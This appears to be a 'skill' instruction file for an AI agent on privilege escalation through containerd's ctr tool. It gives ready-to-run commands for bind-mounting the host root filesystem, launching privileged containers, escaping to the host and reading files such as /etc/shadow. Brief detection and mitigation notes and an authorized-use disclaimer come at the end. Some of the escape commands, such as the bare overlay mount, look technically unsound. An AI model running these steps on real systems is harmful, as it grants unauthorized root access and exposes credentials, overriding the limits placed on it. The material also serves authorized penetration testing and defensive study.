Containerd (ctr) Privilege Escalation

This skill helps you perform privilege escalation using containerd's

ctr

command during authorized security assessments. Containerd is a container runtime that manages container lifecycle, and its CLI tool

ctr

can be exploited if accessible to unprivileged users.

When to use this skill

Use this skill when:

• You discover the

  ctr

  command is available on a system during security testing
• You need to escalate privileges in a containerized environment
• You're assessing container runtime security
• You have access to containerd but not root privileges

Prerequisites

Before attempting these techniques:

• You have authorized permission to test the system
• The

  ctr

  command is available (

  which ctr

  )
• You have access to at least one container image

Technique 1: Mount Host Root to Container

This technique mounts the host's root filesystem into a container, giving you access to all host files.

Step 1: Verify ctr is available

which ctr
# Expected output: /usr/bin/ctr or similar path

Step 2: List available images

ctr image list

This shows all container images available to containerd. Look for images with shells (ubuntu, alpine, debian, etc.).

Step 3: Run container with host root mounted

ctr run --mount type=bind,src=/,dst=/,options=rbind -t <image-name> <container-name> bash

Why this works: The

--mount

flag with

type=bind

and

options=rbind

recursively binds the host root (

/

) to the container root. Once inside, you can access any file on the host system.

Example:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

Step 4: Access host files

Once inside the container:

# You're now in a container with host root mounted
ls /etc/passwd      # Host's passwd file
cat /etc/shadow     # Host's shadow file (if readable)
# You can modify host files, read credentials, etc.

Technique 2: Privileged Container Escape

This technique runs a container with privileged mode and escapes to the host.

Step 1: Run privileged container

ctr run --privileged --net-host -t <image-name> <container-name> bash

Why this works: The

--privileged

flag grants the container all Linux capabilities, and

--net-host

shares the host's network namespace. This gives you near-root access on the host.

Example:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

Step 2: Escape from privileged container

Once inside the privileged container, you can use various techniques to fully escape to the host:

Option A: Mount host filesystem

# Mount the host's root filesystem
mount -t overlay overlay /mnt
# Or directly access if cgroups are accessible
cd /proc/1/root/

Option B: Use Docker socket (if available)

# If Docker socket is mounted, use it to run privileged containers
docker run -v /:/host --rm -it alpine chroot /host

Option C: Exploit kernel capabilities

# With privileged mode, you can mount filesystems
mount -t proc none /proc
mount -t sysfs none /sys
# Then access host resources

Verification

After escaping, verify you're on the host:

# Check hostname
hostname

# Check if you can see host processes
ps aux

# Check mount points
mount | grep -v container

# Try to access host-specific files
cat /etc/issue

Important Considerations

Security Implications

• These techniques demonstrate why containerd should not be accessible to unprivileged users
• Proper containerd configuration should restrict ctr access
• SELinux/AppArmor policies can mitigate these risks

Detection

• Monitor for

  ctr run

  commands with

  --mount

  or

  --privileged

  flags
• Alert on unusual container image usage
• Track container runtime access patterns

Mitigation

• Restrict ctr binary permissions (only root should access)
• Use containerd's authorization plugins
• Implement network policies
• Regular security audits of container configurations

Troubleshooting

"ctr: command not found"

Containerd may not be installed, or ctr is in a non-standard location:

find / -name ctr -type f 2>/dev/null

"permission denied" when running containers

You may need to be in the docker group or have specific capabilities:

# Check your groups
groups
# Check containerd socket permissions
ls -la /run/containerd/

No images available

If

ctr image list

returns empty, you may need to pull an image first:

ctr image pull docker.io/library/alpine:latest

References

• Containerd Documentation
• Docker Security Best Practices
• Container Escape Techniques

Ethical Use Notice

This skill is intended for authorized security testing and educational purposes only. Always obtain proper authorization before testing container security on any system. Unauthorized access to computer systems is illegal and unethical.